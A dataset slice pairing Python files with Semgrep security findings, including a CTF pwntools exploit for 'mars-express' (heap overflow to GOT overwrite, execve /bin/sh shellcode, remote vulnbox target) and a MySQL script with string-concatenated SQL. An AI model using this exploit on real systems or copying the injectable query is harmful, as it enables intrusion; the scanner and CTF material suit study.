"rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 3, "line_end": 3, "column_start": 8, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/cd8d8c484902d7b2.py", "start": {"line": 3, "col": 8, "offset": 122}, "end": {"line": 3, "col": 51, "offset": 165}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.use-sys-exit_cd8d8c484902d7b2_ef6a4234", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.use-sys-exit", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "remediation": "sys.exit(0)", "location": {"file_path": "unknown", "line_start": 7, "line_end": 7, "column_start": 5, "column_end": 12, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.use-sys-exit", "path": "/tmp/tmpb8jm_z1l/cd8d8c484902d7b2.py", "start": {"line": 7, "col": 5, "offset": 238}, "end": {"line": 7, "col": 12, "offset": 245}, "extra": {"message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "fix": "sys.exit(0)", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-95", "CWE-95" ]
[ "rules.python.lang.security.audit.eval-detected", "rules.python.lang.security.audit.eval-detected" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 2, 3 ]
[ 2, 3 ]
[ 8, 8 ]
[ 51, 51 ]
[ "A03:2021 - Injection", "A03:2021 - Injection" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "Detected the use of eval(). eval() can be dangerous if used...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
4-最小公倍数.py
/Week 6/4-最小公倍数.py
BleShi/PythonLearning-CollegeCourse
MIT
2024-11-18T18:06:00.458625+00:00
1,611,605,318,000
a02298e2d7f53746fba252e49d71b05fb1c9cb54
2
{ "blob_id": "a02298e2d7f53746fba252e49d71b05fb1c9cb54", "branch_name": "refs/heads/master", "committer_date": 1611605318000, "content_id": "42fd304e56fb47ec8b825138f0b5bc910fa9e4f5", "detected_licenses": [ "ISC" ], "directory_id": "2b8a258ba9e4c61efa87a7bdcde3f3584254bd5f", "extension": "py", "filename": "x.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 332870105, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3193, "license": "ISC", "license_type": "permissive", "path": "/exploit/x.py", "provenance": "stack-edu-0054.json.gz:568934", "repo_name": "fausecteam/faustctf-2020-mars-express", "revision_date": 1611605318000, "revision_id": "a567a4b7ea41143dbd885ea270b7f36f34aed2d2", "snapshot_id": "75c6e5757fdf9e9c3decd233c5d37c6be91bc167", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/fausecteam/faustctf-2020-mars-express/a567a4b7ea41143dbd885ea270b7f36f34aed2d2/exploit/x.py", "visit_date": "2023-02-26T05:16:33.159313" }
2.46875
stackv2
#!/usr/bin/env python """Exploit script for mars-express.""" import subprocess import sys import os import pwn pwn.context.log_level = "info" pwn.context.terminal = ["tmux", "splitw", "-p", "75"] BINARY = "../src/mars-express" HOST = "vulnbox-test.faust.ninja" PORT = 8888 GDB_COMMANDS = [] MENU = """What do you want to do?""" def add_wagon(proc, name: str, symbol: str = "x") -> None: """Adds a wagon to the train.""" proc.recvuntil(MENU) proc.sendline("1") proc.recvuntil("name: ") proc.sendline(name) proc.recvuntil("symbol: ") proc.sendline(symbol) def remove_wagon(proc, name: str) -> None: """Removes a wagon from the train.""" proc.recvuntil(MENU) proc.sendline("2") proc.recvuntil("wagon: ") proc.sendline(name) def exploit(proc, mode: str) -> None: """Exploit goes here.""" proc.recvuntil("> ") proc.sendline("1") proc.recvuntil("name:") proc.sendline("some_random_name") addr = pwn.context.binary.got["wclear"] - 8 pwn.log.info(f"addr = 0x{addr:08x}") # These values depend on the build system, since the bss might starts at a different offset add_wagon(proc, "a"*31) add_wagon(proc, "a"*15) add_wagon(proc, b"b"*8 + pwn.p32(addr) + b"\x20" + b"\0"*3 + b"b"*43) add_wagon(proc, "c"*15) add_wagon(proc, "e"*15) add_wagon(proc, "f"*15) remove_wagon(proc, "f"*15) remove_wagon(proc, "e"*15) add_wagon(proc, "g"*16) add_wagon(proc, "h"*15) if mode == "debug": pwn.pause() shellcode = "\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" shellcode = shellcode.ljust(0x1f, "\x90") add_wagon(proc, shellcode) if mode == "remote": try: proc.recvuntil("X", timeout=1) except EOFError: pwn.log.info("Remember to provide remote binary in 'src/mars-express'!") return # TODO: parse all trains. proc.interactive() def main() -> None: """Does general setup and calls exploit.""" if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <mode>") sys.exit(0) env = os.environ.copy() try: pwn.context.binary = pwn.ELF(BINARY) except IOError: print(f"Failed to load binary ({BINARY})") mode = sys.argv[1] env["TERM"] = "ansi77" env["COLUMNS"] = "40" env["ROWS"] = "20" if mode == "local": proc = pwn.process(BINARY, env=env) elif mode == "debug": proc = pwn.process(BINARY, env=env) gdb_cmd = ["tmux", "split-window", "-p", "75", "gdb", BINARY, str(proc.pid), ] for cmd in GDB_COMMANDS: gdb_cmd.append("-ex") gdb_cmd.append(cmd) gdb_cmd.append(BINARY) subprocess.Popen(gdb_cmd) elif mode == "local_hosted": proc = pwn.remote("localhost", PORT) elif mode == "remote": proc = pwn.remote(HOST, PORT) else: print("Invalid mode") sys.exit(1) exploit(proc, mode) if __name__ == "__main__": main()
144
21.17
98
13
957
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_5fbea8111a456e96_e3778d23", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 129, "line_end": 129, "column_start": 9, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/5fbea8111a456e96.py", "start": {"line": 129, "col": 9, "offset": 2897}, "end": {"line": 129, "col": 34, "offset": 2922}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 129 ]
[ 129 ]
[ 9 ]
[ 34 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
x.py
/exploit/x.py
fausecteam/faustctf-2020-mars-express
ISC
2024-11-18T18:06:02.252388+00:00
1,608,557,697,000
3054934136b078311cd7cb03154364ec20d14bfa
3
{ "blob_id": "3054934136b078311cd7cb03154364ec20d14bfa", "branch_name": "refs/heads/master", "committer_date": 1608557697000, "content_id": "7b40ba0dab867de21b545e3364e008d2089357eb", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "c033a814d418b10d1c8a3f739c410a1cf8f8d212", "extension": "py", "filename": "celloud_mysql.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 32963181, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 982, "license": "BSD-3-Clause", "license_type": "permissive", "path": "/celloud/celloud_mysql.py", "provenance": "stack-edu-0054.json.gz:568950", "repo_name": "sdyz5210/python", "revision_date": 1608557697000, "revision_id": "78f9999f94d92d9ca7fde6f18acec7d3abd422ef", "snapshot_id": "171c63aace26d6134fb470bd18c9bd25fea15e0b", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/sdyz5210/python/78f9999f94d92d9ca7fde6f18acec7d3abd422ef/celloud/celloud_mysql.py", "visit_date": "2020-12-30T15:43:48.630610" }
2.78125
stackv2
#!/usr/bin/env python # -*- coding: utf-8 -*- import MySQLdb def readInput(inputFile): newlines = [] with open(inputFile,"r") as f: lines = f.readlines() for line in lines: fileName = line.split(",")[0] dataKey = line.split(",")[1] result = getTaskId(dataKey) newlines.append(line.strip()+","+str(result)+"\n") writeOutput("data_1.txt",newlines) def writeOutput(outputFile,lines): with open(outputFile,'a') as f: for line in lines: f.write(line) f.flush() def getTaskId(dataKey): #打开数据库连接 db = MySQLdb.connect('localhost','root','password','dbName') #获取操作游标 cursor = db.cursor() #执行sql语句 sql = 'select task_id from tb_task where data_key='+dataKey try: cursor.execute(sql) result = cursor.fetchone() return result[0] except Exception, e: db.rollback() raise e finally: #关闭数据库连接 db.close() if __name__ == '__main__': inputFile = "data.txt" #第一步 #readInput(inputFile)
45
19.64
61
16
273
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_1ec1719d09d8fa92_18ae5a75", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 8, "line_end": 8, "column_start": 7, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/1ec1719d09d8fa92.py", "start": {"line": 8, "col": 7, "offset": 110}, "end": {"line": 8, "col": 26, "offset": 129}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_1ec1719d09d8fa92_bf664526", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 18, "line_end": 18, "column_start": 7, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/1ec1719d09d8fa92.py", "start": {"line": 18, "col": 7, "offset": 410}, "end": {"line": 18, "col": 27, "offset": 430}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_1ec1719d09d8fa92_8e4afdca", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 31, "column_start": 3, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/1ec1719d09d8fa92.py", "start": {"line": 31, "col": 3, "offset": 729}, "end": {"line": 31, "col": 22, "offset": 748}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-89" ]
[ "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 31 ]
[ 31 ]
[ 3 ]
[ 22 ]
[ "A01:2017 - Injection" ]
[ "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre...
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
celloud_mysql.py
/celloud/celloud_mysql.py
sdyz5210/python
BSD-3-Clause
2024-11-18T18:06:03.792326+00:00
1,569,089,543,000
51cb6e8c13e7e4dadf31388b033eb9c70ab96649
3
{ "blob_id": "51cb6e8c13e7e4dadf31388b033eb9c70ab96649", "branch_name": "refs/heads/master", "committer_date": 1569089543000, "content_id": "d95e0ef39696de282c4a7e0c1b5f5363162356eb", "detected_licenses": [ "Apache-2.0" ], "directory_id": "84fb2513f5b38d02dccd4cc158593973eb46e32c", "extension": "py", "filename": "layer_sampler.py", "fork_events_count": 3, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 130600207, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3496, "license": "Apache-2.0", "license_type": "permissive", "path": "/layer_sampler.py", "provenance": "stack-edu-0054.json.gz:568966", "repo_name": "nnzhaocs/docker-performance", "revision_date": 1569089543000, "revision_id": "2b6ba870b9a0f8c78837e794bbac678094f0c230", "snapshot_id": "387026f934325b23466ef10ca57cf7b219b3ae9a", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/nnzhaocs/docker-performance/2b6ba870b9a0f8c78837e794bbac678094f0c230/layer_sampler.py", "visit_date": "2020-03-12T11:35:34.750683" }
2.78125
stackv2
import sys import os from os.path import stat from argparse import ArgumentParser import pickle layer_files = ["/home/nannan/dockerimages/layers/hulk1/hulk1_layers_less_1g.lst"]#, "/home/nannan/dockerimages/layers/hulk4/hulk4_layers_less_1g.lst"] out_dir = "/home/nannan/dockerimages/layers/hulk1/" stored_dat_file = os.getcwd() + "/lyr_size.pkl" #df_num = 160 def setup(): print 'entered setup mode, now collecting layer size information...' layer_size_dict = {} lyrs = [] lyr_failed = [] for lyr_f in layer_files: with open(lyr_f, 'r') as f: content = f.readlines() lyrs.extend([x.strip() for x in content]) for lyr in lyrs: try: size = os.stat(lyr).st_size layer_size_dict[lyr] = size except: lyr_failed.append(lyr) print 'info collection complete.' print 'successfully identified ' + str(len(lyrs)) + ' lyrs' print 'failed to get the size of ' + str(len(lyr_failed)) + ' layer files, dump:' print lyr_failed print 'now writing results to pickle file in current directory...' with open(stored_dat_file, 'wb') as f: pickle.dump(layer_size_dict, f, pickle.HIGHEST_PROTOCOL) def sampling(layer_size_dict, size): print 'collecting all layers with size close to ' + str(size) + ' MB...' res = {} cap = size * 1.1 floor = size * 0.9 if size == 1: floor = 0 for lyr, lyr_size in layer_size_dict.items(): mb_size = lyr_size / 1024 / 1024 if mb_size <= cap and mb_size >= floor : res[lyr] = lyr_size result = sorted(res, key=res.__getitem__) print 'found ' + str(len(result)) + ' layers satisfying the size requirement.' print 'writing layer list to hulk1...' #print str(res[result[0]]) #print str(res[result[1]]) #print str(res[result[-1]]) with open(out_dir+'hulk_layers_approx_'+str(size)+'MB.lst', 'w') as f: for lyr in result: f.write("%s\n" % lyr) def main(): print 'WARNING: the current running version is tuned for layers no more than 50M.' print 'WARNING: now assuming static input output directories (hardcoded)' parser = ArgumentParser(description='allow customized sampling args.') parser.add_argument('-c', '--command', dest='command', type=str, required=True, help = 'Mode command. Possible commands: setup, sample.') #parser.add_argument('-n', '--number', dest='number', type=int, required=False, # help = 'For sampling only. Specify number of layers wanted.') parser.add_argument('-size', '--size', dest='size', type=int, required=False, help = 'For sampling only. Specify layer size limit.') args = parser.parse_args() if args.command == 'setup': setup() elif args.command == 'sample': if args.size == None: print 'size not specified, quit' exit(-1) print 'attempting to populate layer:size dictionary...' try: with open(stored_dat_file, 'rb') as f: layer_size_dict = pickle.load(f) except: print 'unable to read the stored layer:size file' exit(-1) print 'successfully read in ' + str(len(layer_size_dict)) + ' layers, now sampling...' for i in range(60, 210, 10): #print i sampling(layer_size_dict, i)#args.size) if __name__ == "__main__": main()
93
36.59
150
16
875
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_279717cb4676db67_d2b42f0f", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 14, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/279717cb4676db67.py", "start": {"line": 19, "col": 14, "offset": 552}, "end": {"line": 19, "col": 30, "offset": 568}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_279717cb4676db67_348f627c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 37, "line_end": 37, "column_start": 9, "column_end": 65, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/279717cb4676db67.py", "start": {"line": 37, "col": 9, "offset": 1172}, "end": {"line": 37, "col": 65, "offset": 1228}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_279717cb4676db67_70e16d4a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 57, "column_start": 10, "column_end": 69, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/279717cb4676db67.py", "start": {"line": 57, "col": 10, "offset": 1885}, "end": {"line": 57, "col": 69, "offset": 1944}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.use-sys-exit_279717cb4676db67_4e24b697", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.use-sys-exit", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "remediation": "sys.exit((-1))", "location": {"file_path": "unknown", "line_start": 78, "line_end": 78, "column_start": 13, "column_end": 21, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.use-sys-exit", "path": "/tmp/tmpb8jm_z1l/279717cb4676db67.py", "start": {"line": 78, "col": 13, "offset": 2966}, "end": {"line": 78, "col": 21, "offset": 2974}, "extra": {"message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "fix": "sys.exit((-1))", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_279717cb4676db67_80700fe9", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be 